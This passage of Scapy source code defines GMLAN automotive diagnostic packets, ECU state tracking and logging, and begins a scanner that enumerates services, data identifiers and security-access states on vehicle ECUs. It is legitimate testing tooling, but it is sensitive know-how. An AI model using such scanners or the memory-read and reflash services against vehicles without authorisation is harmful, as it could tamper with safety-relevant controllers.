SoftwareModuleIdentifier (SWMI) 03", 0xC4: "$C4: SoftwareModuleIdentifier (SWMI) 04", 0xC5: "$C5: SoftwareModuleIdentifier (SWMI) 05", 0xC6: "$C6: SoftwareModuleIdentifier (SWMI) 06", 0xC7: "$C7: SoftwareModuleIdentifier (SWMI) 07", 0xC8: "$C8: SoftwareModuleIdentifier (SWMI) 08", 0xC9: "$C9: SoftwareModuleIdentifier (SWMI) 09", 0xCA: "$CA: SoftwareModuleIdentifier (SWMI) 10", 0xCB: "$CB: EndModelPartNumber", 0xCC: "$CC: BaseModelPartNumber (BMPN)", 0xD0: "$D0: BootSoftwarePartNumberAlphaCode", 0xD1: "$D1: SoftwareModuleIdentifierAlphaCode (SWMIAC) 01", 0xD2: "$D2: SoftwareModuleIdentifierAlphaCode (SWMIAC) 02", 0xD3: "$D3: SoftwareModuleIdentifierAlphaCode (SWMIAC) 03", 0xD4: "$D4: SoftwareModuleIdentifierAlphaCode (SWMIAC) 04", 0xD5: "$D5: SoftwareModuleIdentifierAlphaCode (SWMIAC) 05", 0xD6: "$D6: SoftwareModuleIdentifierAlphaCode (SWMIAC) 06", 0xD7: "$D7: SoftwareModuleIdentifierAlphaCode (SWMIAC) 07", 0xD8: "$D8: SoftwareModuleIdentifierAlphaCode (SWMIAC) 08", 0xD9: "$D9: SoftwareModuleIdentifierAlphaCode (SWMIAC) 09", 0xDA: "$DA: SoftwareModuleIdentifierAlphaCode (SWMIAC) 10", 0xDB: "$DB: EndModelPartNumberAlphaCode", 0xDC: "$DC: BaseModelPartNumberAlphaCode", 0xDD: "$DD: SoftwareModuleIdentifierDataIdentifiers (SWMIDID)", 0xDE: "$DE: GMLANIdentificationData (GMLANID)", 0xDF: "$DF: ECUOdometerValue (ECUODO)", 0xE0: "$E0: VehicleLevelDataRecord (VLDR) 0", 0xE1: "$E1: VehicleLevelDataRecord (VLDR) 1", 0xE2: "$E2: VehicleLevelDataRecord (VLDR) 2", 0xE3: "$E3: VehicleLevelDataRecord (VLDR) 3", 0xE4: "$E4: VehicleLevelDataRecord (VLDR) 4", 0xE5: "$E5: VehicleLevelDataRecord (VLDR) 5", 0xE6: "$E6: VehicleLevelDataRecord (VLDR) 6", 0xE7: "$E7: VehicleLevelDataRecord (VLDR) 7", 0xE8: "$E8: Subnet_Config_List_GMLANPowertrainExpansionBus (SCLGPEB)", 0xE9: "$E9: Subnet_Config_List_GMLANFrontObjectExpansionBus " "(SCLGFOEB)", 0xEA: "$EA: Subnet_Config_List_GMLANRearObjectExpansionBus (SCLGROEB)", 0xEB: "$EB: Subnet_Config_List_GMLANExpansionBus1 (SCLGEB1)", 0xEC: "$EC: Subnet_Config_List_GMLANExpansionBus2 (SCLGEB2)", 0xED: "$ED: Subnet_Config_List_GMLANExpansionBus3 (SCLGEB3)", 0xEE: "$EE: Subnet_Config_List_GMLANExpansionBus4 (SCLGEB4)", 0xEF: "$EF: Subnet_Config_List_GMLANExpansionBus5 (SCLGEB5)", }) name = 'ReadDataByIdentifier' fields_desc = [ XByteEnumField('dataIdentifier', 0, dataIdentifiers) ] bind_layers(GMLAN, GMLAN_RDBI, service=0x1A) class GMLAN_RDBIPR(Packet): name = 'ReadDataByIdentifierPositiveResponse' fields_desc = [ XByteEnumField('dataIdentifier', 0, GMLAN_RDBI.dataIdentifiers), ] def answers(self, other): return isinstance(other, GMLAN_RDBI) and \ other.dataIdentifier == self.dataIdentifier bind_layers(GMLAN, GMLAN_RDBIPR, service=0x5A) # ########################RDBI################################### class GMLAN_RDBPI(Packet): dataIdentifiers = ObservableDict({ 0x0005: "OBD_EngineCoolantTemperature", 0x000C: "OBD_EngineRPM", 0x001f: "OBD_TimeSinceEngineStart" }) name = 'ReadDataByParameterIdentifier' fields_desc = [ FieldListField("identifiers", [], XShortEnumField('parameterIdentifier', 0, dataIdentifiers)) ] bind_layers(GMLAN, GMLAN_RDBPI, service=0x22) class GMLAN_RDBPIPR(Packet): name = 'ReadDataByParameterIdentifierPositiveResponse' fields_desc = [ XShortEnumField('parameterIdentifier', 0, GMLAN_RDBPI.dataIdentifiers), ] def answers(self, other): return isinstance(other, GMLAN_RDBPI) and \ self.parameterIdentifier in other.identifiers bind_layers(GMLAN, GMLAN_RDBPIPR, service=0x62) # ########################RDBPKTI################################### class GMLAN_RDBPKTI(Packet): name = 'ReadDataByPacketIdentifier' subfunctions = { 0x00: "stopSending", 0x01: "sendOneResponse", 0x02: "scheduleAtSlowRate", 0x03: "scheduleAtMediumRate", 0x04: "scheduleAtFastRate" } fields_desc = [ XByteEnumField('subfunction', 0, subfunctions), ConditionalField(FieldListField('request_DPIDs', [], XByteField("", 0)), lambda pkt: pkt.subfunction > 0x0) ] bind_layers(GMLAN, GMLAN_RDBPKTI, service=0xAA) # ########################RMBA################################### class GMLAN_RMBA(Packet): name = 'ReadMemoryByAddress' fields_desc = [ MultipleTypeField( [ (XShortField('memoryAddress', 0), lambda pkt: GMLAN.determine_len(2)), (X3BytesField('memoryAddress', 0), lambda pkt: GMLAN.determine_len(3)), (XIntField('memoryAddress', 0), lambda pkt: GMLAN.determine_len(4)) ], XIntField('memoryAddress', 0)), XShortField('memorySize', 0), ] bind_layers(GMLAN, GMLAN_RMBA, service=0x23) class GMLAN_RMBAPR(Packet): name = 'ReadMemoryByAddressPositiveResponse' fields_desc = [ MultipleTypeField( [ (XShortField('memoryAddress', 0), lambda pkt: GMLAN.determine_len(2)), (X3BytesField('memoryAddress', 0), lambda pkt: GMLAN.determine_len(3)), (XIntField('memoryAddress', 0), lambda pkt: GMLAN.determine_len(4)) ], XIntField('memoryAddress', 0)), StrField('dataRecord', b"", fmt="B") ] def answers(self, other): return isinstance(other, GMLAN_RMBA) and \ other.memoryAddress == self.memoryAddress bind_layers(GMLAN, GMLAN_RMBAPR, service=0x63) # ########################SA################################### class GMLAN_SA(Packet): subfunctions = { 0: 'ReservedByDocument', 1: 'SPSrequestSeed', 2: 'SPSsendKey', 3: 'DevCtrlrequestSeed', 4: 'DevCtrlsendKey', 255: 'ReservedByDocument'} for i in range(0x05, 0x0a + 1): subfunctions[i] = 'ReservedByDocument' for i in range(0x0b, 0xfa + 1): subfunctions[i] = 'Reserved for vehicle manufacturer specific needs' for i in range(0xfb, 0xfe + 1): subfunctions[i] = 'Reserved for ECU or ' \ 'system supplier manufacturing needs' name = 'SecurityAccess' fields_desc = [ ByteEnumField('subfunction', 0, subfunctions), ConditionalField(XShortField('securityKey', 0), lambda pkt: pkt.subfunction % 2 == 0) ] bind_layers(GMLAN, GMLAN_SA, service=0x27) class GMLAN_SAPR(Packet): name = 'SecurityAccessPositiveResponse' fields_desc = [ ByteEnumField('subfunction', 0, GMLAN_SA.subfunctions), ConditionalField(XShortField('securitySeed', 0), lambda pkt: pkt.subfunction % 2 == 1), ] def answers(self, other): return isinstance(other, GMLAN_SA) \ and other.subfunction == self.subfunction bind_layers(GMLAN, GMLAN_SAPR, service=0x67) # ########################DDM################################### class GMLAN_DDM(Packet): name = 'DynamicallyDefineMessage' fields_desc = [ XByteField('DPIDIdentifier', 0), StrField('PIDData', b'\x00\x00') ] bind_layers(GMLAN, GMLAN_DDM, service=0x2C) class GMLAN_DDMPR(Packet): name = 'DynamicallyDefineMessagePositiveResponse' fields_desc = [ XByteField('DPIDIdentifier', 0) ] def answers(self, other): return isinstance(other, GMLAN_DDM) \ and other.DPIDIdentifier == self.DPIDIdentifier bind_layers(GMLAN, GMLAN_DDMPR, service=0x6C) # ########################DPBA################################### class GMLAN_DPBA(Packet): name = 'DefinePIDByAddress' fields_desc = [ XShortField('parameterIdentifier', 0), MultipleTypeField( [ (XShortField('memoryAddress', 0), lambda pkt: GMLAN.determine_len(2)), (X3BytesField('memoryAddress', 0), lambda pkt: GMLAN.determine_len(3)), (XIntField('memoryAddress', 0), lambda pkt: GMLAN.determine_len(4)) ], XIntField('memoryAddress', 0)), XByteField('memorySize', 0), ] bind_layers(GMLAN, GMLAN_DPBA, service=0x2D) class GMLAN_DPBAPR(Packet): name = 'DefinePIDByAddressPositiveResponse' fields_desc = [ XShortField('parameterIdentifier', 0), ] def answers(self, other): return isinstance(other, GMLAN_DPBA) \ and other.parameterIdentifier == self.parameterIdentifier bind_layers(GMLAN, GMLAN_DPBAPR, service=0x6D) # ########################RD################################### class GMLAN_RD(Packet): name = 'RequestDownload' fields_desc = [ XByteField('dataFormatIdentifier', 0), MultipleTypeField( [ (XShortField('memorySize', 0), lambda pkt: GMLAN.determine_len(2)), (X3BytesField('memorySize', 0), lambda pkt: GMLAN.determine_len(3)), (XIntField('memorySize', 0), lambda pkt: GMLAN.determine_len(4)) ], XIntField('memorySize', 0)) ] bind_layers(GMLAN, GMLAN_RD, service=0x34) # ########################TD################################### class GMLAN_TD(Packet): subfunctions = { 0x00: "download", 0x80: "downloadAndExecuteOrExecute" } name = 'TransferData' fields_desc = [ ByteEnumField('subfunction', 0, subfunctions), MultipleTypeField( [ (XShortField('startingAddress', 0), lambda pkt: GMLAN.determine_len(2)), (X3BytesField('startingAddress', 0), lambda pkt: GMLAN.determine_len(3)), (XIntField('startingAddress', 0), lambda pkt: GMLAN.determine_len(4)) ], XIntField('startingAddress', 0)), StrField("dataRecord", b"") ] bind_layers(GMLAN, GMLAN_TD, service=0x36) # ########################WDBI################################### class GMLAN_WDBI(Packet): name = 'WriteDataByIdentifier' fields_desc = [ XByteEnumField('dataIdentifier', 0, GMLAN_RDBI.dataIdentifiers), StrField("dataRecord", b'') ] bind_layers(GMLAN, GMLAN_WDBI, service=0x3B) class GMLAN_WDBIPR(Packet): name = 'WriteDataByIdentifierPositiveResponse' fields_desc = [ XByteEnumField('dataIdentifier', 0, GMLAN_RDBI.dataIdentifiers) ] def answers(self, other): return isinstance(other, GMLAN_WDBI) \ and other.dataIdentifier == self.dataIdentifier bind_layers(GMLAN, GMLAN_WDBIPR, service=0x7B) # ########################RPSPR################################### class GMLAN_RPSPR(Packet): programmedStates = { 0x00: "fully programmed", 0x01: "no op s/w or cal data", 0x02: "op s/w present, cal data missing", 0x03: "s/w present, default or no start cal present", 0x50: "General Memory Fault", 0x51: "RAM Memory Fault", 0x52: "NVRAM Memory Fault", 0x53: "Boot Memory Failure", 0x54: "Flash Memory Failure", 0x55: "EEPROM Memory Failure", } name = 'ReportProgrammedStatePositiveResponse' fields_desc = [ ByteEnumField('programmedState', 0, programmedStates), ] bind_layers(GMLAN, GMLAN_RPSPR, service=0xE2) # ########################PM################################### class GMLAN_PM(Packet): subfunctions = { 0x01: "requestProgrammingMode", 0x02: "requestProgrammingMode_HighSpeed", 0x03: "enableProgrammingMode" } name = 'ProgrammingMode' fields_desc = [ ByteEnumField('subfunction', 0, subfunctions), ] bind_layers(GMLAN, GMLAN_PM, service=0xA5) # ########################RDI################################### class GMLAN_RDI(Packet): subfunctions = { 0x80: 'readStatusOfDTCByDTCNumber', 0x81: 'readStatusOfDTCByStatusMask', 0x82: 'sendOnChangeDTCCount' } name = 'ReadDiagnosticInformation' fields_desc = [ ByteEnumField('subfunction', 0, subfunctions) ] bind_layers(GMLAN, GMLAN_RDI, service=0xA9) class GMLAN_RDI_BN(Packet): name = 'ReadStatusOfDTCByDTCNumber' fields_desc = [ XByteField('DTCHighByte', 0), XByteField('DTCLowByte', 0), XByteField('DTCFailureType', 0), ] bind_layers(GMLAN_RDI, GMLAN_RDI_BN, subfunction=0x80) class GMLAN_RDI_BM(Packet): name = 'ReadStatusOfDTCByStatusMask' fields_desc = [ XByteField('DTCStatusMask', 0), ] bind_layers(GMLAN_RDI, GMLAN_RDI_BM, subfunction=0x81) class GMLAN_RDI_BC(Packet): name = 'SendOnChangeDTCCount' fields_desc = [ XByteField('DTCStatusMask', 0), ] bind_layers(GMLAN_RDI, GMLAN_RDI_BC, subfunction=0x82) # TODO:This function receive single frame responses... (Implement GMLAN Socket) # ########################DC################################### class GMLAN_DC(Packet): name = 'DeviceControl' fields_desc = [ XByteField('CPIDNumber', 0), StrFixedLenField('CPIDControlBytes', b"", 5) ] bind_layers(GMLAN, GMLAN_DC, service=0xAE) class GMLAN_DCPR(Packet): name = 'DeviceControlPositiveResponse' fields_desc = [ XByteField('CPIDNumber', 0) ] def answers(self, other): return isinstance(other, GMLAN_DC) \ and other.CPIDNumber == self.CPIDNumber bind_layers(GMLAN, GMLAN_DCPR, service=0xEE) # ########################NRC################################### class GMLAN_NR(Packet): negativeResponseCodes = { 0x11: 'ServiceNotSupported', 0x12: 'SubFunctionNotSupported', 0x22: 'ConditionsNotCorrectOrRequestSequenceError', 0x31: 'RequestOutOfRange', 0x35: 'InvalidKey', 0x36: 'ExceedNumberOfAttempts', 0x37: 'RequiredTimeDelayNotExpired', 0x78: 'RequestCorrectlyReceived-ResponsePending', 0x81: 'SchedulerFull', 0x83: 'VoltageOutOfRange', 0x85: 'GeneralProgrammingFailure', 0x89: 'DeviceTypeError', 0x99: 'ReadyForDownload-DTCStored', 0xe3: 'DeviceControlLimitsExceeded', } name = 'NegativeResponse' fields_desc = [ XByteEnumField('requestServiceId', 0, GMLAN.services), MayEnd(ByteEnumField('returnCode', 0, negativeResponseCodes)), # XXX Is this MayEnd correct? Why is the field below also 0xe3 ? ShortField('deviceControlLimitExceeded', 0) ] def answers(self, other): return self.requestServiceId == other.service and \ (self.returnCode != 0x78 or conf.contribs['GMLAN']['treat-response-pending-as-answer']) bind_layers(GMLAN, GMLAN_NR, service=0x7f) ================================================ FILE: scapy/contrib/automotive/gm/gmlan_ecu_states.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = GMLAN EcuState modifications # scapy.contrib.status = library from scapy.packet import Packet from scapy.contrib.automotive.ecu import EcuState from scapy.contrib.automotive.gm.gmlan import GMLAN, GMLAN_SAPR __all__ = ["GMLAN_modify_ecu_state", "GMLAN_SAPR_modify_ecu_state"] @EcuState.extend_pkt_with_modifier(GMLAN) def GMLAN_modify_ecu_state(self, req, state): # type: (Packet, Packet, EcuState) -> None if self.service == 0x50: state.session = 3 # type: ignore elif self.service == 0x60: state.reset() state.session = 1 # type: ignore elif self.service == 0x68: state.communication_control = 1 # type: ignore elif self.service == 0xe5: state.session = 2 # type: ignore elif self.service == 0x74 and len(req) > 3: state.request_download = 1 # type: ignore elif self.service == 0x7e: state.tp = 1 # type: ignore @EcuState.extend_pkt_with_modifier(GMLAN_SAPR) def GMLAN_SAPR_modify_ecu_state(self, req, state): # type: (Packet, Packet, EcuState) -> None if self.subfunction % 2 == 0 and self.subfunction > 0 and len(req) >= 3: state.security_level = self.subfunction # type: ignore elif self.subfunction % 2 == 1 and \ self.subfunction > 0 and \ len(req) >= 3 and not any(self.securitySeed): state.security_level = self.securityAccessType + 1 # type: ignore ================================================ FILE: scapy/contrib/automotive/gm/gmlan_logging.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = GMLAN Ecu logging additions # scapy.contrib.status = library from scapy.contrib.automotive.gm.gmlan import GMLAN_SA, GMLAN_IDO, GMLAN_DC, \ GMLAN_NR, GMLAN_RD, GMLAN_TD, GMLAN_DCPR, GMLAN_DPBA, GMLAN_DPBAPR, \ GMLAN_RPSPR, GMLAN_RDI, GMLAN_WDBI, GMLAN_WDBIPR, GMLAN_PM, GMLAN_SAPR, \ GMLAN_RDBI, GMLAN_RDBIPR, GMLAN_RDBPI, GMLAN_RDBPIPR, GMLAN_RDBPKTI, \ GMLAN_RFRD, GMLAN_RFRDPR, GMLAN_RMBA, GMLAN_RMBAPR, GMLAN_DDM, GMLAN_DDMPR from scapy.packet import Packet from scapy.contrib.automotive.ecu import Ecu # Typing imports from typing import ( Any, Tuple, ) @Ecu.extend_pkt_with_logging(GMLAN_IDO) def GMLAN_IDO_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ self.sprintf("%GMLAN_IDO.subfunction%") @Ecu.extend_pkt_with_logging(GMLAN_RFRD) def GMLAN_RFRD_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ self.sprintf("%GMLAN_RFRD.subfunction%") @Ecu.extend_pkt_with_logging(GMLAN_RFRDPR) def GMLAN_RFRDPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ self.sprintf("%GMLAN_RFRDPR.subfunction%") @Ecu.extend_pkt_with_logging(GMLAN_RDBI) def GMLAN_RDBI_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ self.sprintf("%GMLAN_RDBI.dataIdentifier%") @Ecu.extend_pkt_with_logging(GMLAN_RDBIPR) def GMLAN_RDBIPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ (self.sprintf("%GMLAN_RDBIPR.dataIdentifier%"), bytes(self.load)) @Ecu.extend_pkt_with_logging(GMLAN_RDBPI) def GMLAN_RDBPI_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ self.sprintf("%GMLAN_RDBPI.identifiers%") @Ecu.extend_pkt_with_logging(GMLAN_RDBPIPR) def GMLAN_RDBPIPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ self.sprintf("%GMLAN_RDBPIPR.parameterIdentifier%") @Ecu.extend_pkt_with_logging(GMLAN_RDBPKTI) def GMLAN_RDBPKTI_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ self.sprintf("%GMLAN_RDBPKTI.subfunction%") @Ecu.extend_pkt_with_logging(GMLAN_RMBA) def GMLAN_RMBA_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ self.sprintf("%GMLAN_RMBA.memoryAddress%") @Ecu.extend_pkt_with_logging(GMLAN_RMBAPR) def GMLAN_RMBAPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ (self.sprintf("%GMLAN_RMBAPR.memoryAddress%"), self.dataRecord) @Ecu.extend_pkt_with_logging(GMLAN_SA) def GMLAN_SA_get_log(self): # type: (Packet) -> Tuple[str, Any] if self.subfunction % 2 == 1: return self.sprintf("%GMLAN.service%"), \ (self.subfunction, None) else: return self.sprintf("%GMLAN.service%"), \ (self.subfunction, self.securityKey) @Ecu.extend_pkt_with_logging(GMLAN_SAPR) def GMLAN_SAPR_get_log(self): # type: (Packet) -> Tuple[str, Any] if self.subfunction % 2 == 0: return self.sprintf("%GMLAN.service%"), \ (self.subfunction, None) else: return self.sprintf("%GMLAN.service%"), \ (self.subfunction, self.securitySeed) @Ecu.extend_pkt_with_logging(GMLAN_DDM) def GMLAN_DDM_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ (self.sprintf("%GMLAN_DDM.DPIDIdentifier%"), self.PIDData) @Ecu.extend_pkt_with_logging(GMLAN_DDMPR) def GMLAN_DDMPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ self.sprintf("%GMLAN_DDMPR.DPIDIdentifier%") @Ecu.extend_pkt_with_logging(GMLAN_DPBA) def GMLAN_DPBA_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ (self.parameterIdentifier, self.memoryAddress, self.memorySize) @Ecu.extend_pkt_with_logging(GMLAN_DPBAPR) def GMLAN_DPBAPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), self.parameterIdentifier @Ecu.extend_pkt_with_logging(GMLAN_RD) def GMLAN_RD_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ (self.dataFormatIdentifier, self.memorySize) @Ecu.extend_pkt_with_logging(GMLAN_TD) def GMLAN_TD_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ (self.sprintf("%GMLAN_TD.subfunction%"), self.startingAddress, self.dataRecord) @Ecu.extend_pkt_with_logging(GMLAN_WDBI) def GMLAN_WDBI_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ (self.sprintf("%GMLAN_WDBI.dataIdentifier%"), self.dataRecord) @Ecu.extend_pkt_with_logging(GMLAN_WDBIPR) def GMLAN_WDBIPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ self.sprintf("%GMLAN_WDBIPR.dataIdentifier%") @Ecu.extend_pkt_with_logging(GMLAN_RPSPR) def GMLAN_RPSPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ self.sprintf("%GMLAN_RPSPR.programmedState%") @Ecu.extend_pkt_with_logging(GMLAN_PM) def GMLAN_PM_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ self.sprintf("%GMLAN_PM.subfunction%") @Ecu.extend_pkt_with_logging(GMLAN_RDI) def GMLAN_RDI_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ self.sprintf("%GMLAN_RDI.subfunction%") @Ecu.extend_pkt_with_logging(GMLAN_DC) def GMLAN_DC_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ self.sprintf("%GMLAN_DC.CPIDNumber%") @Ecu.extend_pkt_with_logging(GMLAN_DCPR) def GMLAN_DCPR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ self.sprintf("%GMLAN_DCPR.CPIDNumber%") @Ecu.extend_pkt_with_logging(GMLAN_NR) def GMLAN_NR_get_log(self): # type: (Packet) -> Tuple[str, Any] return self.sprintf("%GMLAN.service%"), \ (self.sprintf("%GMLAN_NR.requestServiceId%"), self.sprintf("%GMLAN_NR.returnCode%")) ================================================ FILE: scapy/contrib/automotive/gm/gmlan_scanner.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = GMLAN AutomotiveTestCaseExecutor Utilities # scapy.contrib.status = loads import abc import random import time import copy from collections import defaultdict from scapy.compat import orb from scapy.contrib.automotive import log_automotive from scapy.packet import Packet from scapy.config import conf from scapy.supersocket import SuperSocket from scapy.error import Scapy_Exception from scapy.contrib.automotive.gm.gmlanutils import GMLAN_InitDiagnostics, \ GMLAN_TesterPresentSender from scapy.contrib.automotive.gm.gmlan import GMLAN, GMLAN_SA, GMLAN_RD, \ GMLAN_TD, GMLAN_RMBA, GMLAN_RDBI, GMLAN_RDBPI, GMLAN_IDO, \ GMLAN_NR, GMLAN_WDBI, GMLAN_DC, GMLAN_PM from scapy.contrib.automotive.ecu import EcuState from scapy.contrib.automotive.scanner.test_case import AutomotiveTestCaseABC, \ _SocketUnion, _TransitionTuple, StateGenerator from scapy.contrib.automotive.scanner.enumerator import ServiceEnumerator, \ _AutomotiveTestCaseScanResult, StateGeneratingServiceEnumerator from scapy.contrib.automotive.scanner.configuration import \ AutomotiveTestCaseExecutorConfiguration from scapy.contrib.automotive.scanner.graph import _Edge from scapy.contrib.automotive.scanner.staged_test_case import \ StagedAutomotiveTestCase from scapy.contrib.automotive.scanner.executor import \ AutomotiveTestCaseExecutor # TODO: Refactor this import from scapy.contrib.automotive.gm.gmlan_ecu_states import * # noqa: F401, F403 # Typing imports from typing import ( Optional, List, Type, Any, Tuple, Iterable, Dict, cast, Callable, ) __all__ = ["GMLAN_Scanner", "GMLAN_ServiceEnumerator", "GMLAN_RDBIEnumerator", "GMLAN_RDBPIEnumerator", "GMLAN_RMBAEnumerator", "GMLAN_TPEnumerator", "GMLAN_IDOEnumerator", "GMLAN_PMEnumerator", "GMLAN_RDEnumerator", "GMLAN_TDEnumerator", "GMLAN_WDBIEnumerator", "GMLAN_SAEnumerator", "GMLAN_WDBISelectiveEnumerator", "GMLAN_DCEnumerator"] class GMLAN_Enumerator(ServiceEnumerator, metaclass=abc.ABCMeta): """ Abstract base class for GMLAN service enumerators. This class implements GMLAN specific functions. """ @staticmethod def _get_negative_response_code(resp): # type: (Packet) -> int return resp.returnCode @staticmethod def _get_negative_response_desc(nrc): # type: (int) -> str return GMLAN_NR(returnCode=nrc).sprintf("%GMLAN_NR.returnCode%") @staticmethod def _get_negative_response_label(response): # type: (Packet) -> str return response.sprintf("NR: %GMLAN_NR.returnCode%") def _get_table_entry_z(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return self._get_label(tup[2]) def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] raise NotImplementedError("Overwrite this method") class GMLAN_ServiceEnumerator(GMLAN_Enumerator, StateGeneratingServiceEnumerator): # noqa: E501 """ This enumerator scans for all services identifiers of GMLAN. During this scan, corrupted packets might be sent to an ECU and mainly negative responses will be received. """ _description = "Available services and negative response per state" def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] services = set(x & ~0x40 for x in range(0x100)) services.remove(0x10) # Remove InitiateDiagnosticOperation service services.remove(0x3E) # Remove TesterPresent service services.remove(0xa5) # Remove ProgrammingMode service services.remove(0x34) # Remove RequestDownload return (GMLAN(service=x) for x in services) def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "0x%02x: %s" % ( tup[1].service, tup[1].sprintf("%GMLAN.service%")) class GMLAN_TPEnumerator(GMLAN_Enumerator, StateGeneratingServiceEnumerator): """ Performs a check if TesterPresent is available. If a positive response is received, a new system state is generated and returned. """ _description = "TesterPresent supported" def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] return [GMLAN(service=0x3E)] @staticmethod def enter(socket, # type: _SocketUnion configuration, # type: AutomotiveTestCaseExecutorConfiguration kwargs # type: Dict[str, Any] ): # type: (...) -> bool if configuration.unittest: configuration["tps"] = None socket.sr1(GMLAN(service=0x3E), timeout=0.1, verbose=False) return True GMLAN_TPEnumerator.cleanup(socket, configuration) configuration["tps"] = GMLAN_TesterPresentSender( cast(SuperSocket, socket)) configuration["tps"].start() return True @staticmethod def cleanup(_, configuration): # type: (_SocketUnion, AutomotiveTestCaseExecutorConfiguration) -> bool try: if configuration["tps"]: configuration["tps"].stop() configuration["tps"] = None except KeyError: pass return True def get_transition_function(self, socket, edge): # type: (_SocketUnion, _Edge) -> Optional[_TransitionTuple] return self.enter, {"desc": "TP"}, self.cleanup def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "TesterPresent:" class GMLAN_IDOEnumerator(GMLAN_Enumerator, StateGeneratingServiceEnumerator): _description = "InitiateDiagnosticOperation supported" def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] return [GMLAN() / GMLAN_IDO(subfunction=2)] @staticmethod def enter_diagnostic_session(socket): # type: (_SocketUnion) -> bool ans = socket.sr1( GMLAN() / GMLAN_IDO(subfunction=2), timeout=5, verbose=False) if ans is not None and ans.service == 0x7f: log_automotive.debug( "InitiateDiagnosticOperation received negative response!\n" "%s", repr(ans)) return ans is not None and ans.service != 0x7f def get_new_edge(self, socket, config): # type: (_SocketUnion, AutomotiveTestCaseExecutorConfiguration) -> Optional[_Edge] # noqa: E501 edge = super(GMLAN_IDOEnumerator, self).get_new_edge(socket, config) if edge: state, new_state = edge new_state.tp = 1 # type: ignore return state, new_state return None @staticmethod def enter_state_with_tp(sock, conf, kwargs): # type: (_SocketUnion, AutomotiveTestCaseExecutorConfiguration, Dict[str, Any]) -> bool # noqa: E501 GMLAN_TPEnumerator.enter(sock, conf, kwargs) if GMLAN_IDOEnumerator.enter_diagnostic_session(sock): return True else: GMLAN_TPEnumerator.cleanup(sock, conf) return False def get_transition_function(self, socket, edge): # type: (_SocketUnion, _Edge) -> Optional[_TransitionTuple] return self.enter_state_with_tp, {"desc": "IDO_TP"}, GMLAN_TPEnumerator.cleanup # noqa: E501 def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "InitiateDiagnosticOperation:" class GMLAN_RDBIEnumerator(GMLAN_Enumerator): _description = "Readable data identifier per state" def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] scan_range = kwargs.pop("scan_range", range(0x100)) return (GMLAN() / GMLAN_RDBI(dataIdentifier=x) for x in scan_range) @staticmethod def print_information(resp): # type: (Packet) -> str load = bytes(resp)[2:] if len(resp) > 3 else b"No data available" return "PR: %r" % ((load[:17] + b"...") if len(load) > 20 else load) def _get_table_entry_y(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return "0x%04x: %s" % (tup[1].dataIdentifier, tup[1].sprintf("%GMLAN_RDBI.dataIdentifier%")) def _get_table_entry_z(self, tup): # type: (_AutomotiveTestCaseScanResult) -> str return self._get_label(tup[2], self.print_information) class GMLAN_WDBIEnumerator(GMLAN_Enumerator): _description = "Writeable data identifier per state" _supported_kwargs = copy.copy(GMLAN_Enumerator._supported_kwargs) _supported_kwargs.update({ 'rdbi_enumerator': (GMLAN_RDBIEnumerator, None) }) _supported_kwargs_doc = ServiceEnumerator._supported_kwargs_doc + """ :param rdbi_enumerator: Specifies an instance of a GMLAN_RDBIEnumerator which is used to extract possible data identifiers. :type rdbi_enumerator: GMLAN_RDBIEnumerator""" def execute(self, socket, state, **kwargs): # type: (_SocketUnion, EcuState, Any) -> None super(GMLAN_WDBIEnumerator, self).execute(socket, state, **kwargs) execute.__doc__ = _supported_kwargs_doc def _get_initial_requests(self, **kwargs): # type: (Any) -> Iterable[Packet] scan_range = kwargs.pop("scan_range", range(0x100)) rdbi_enumerator = 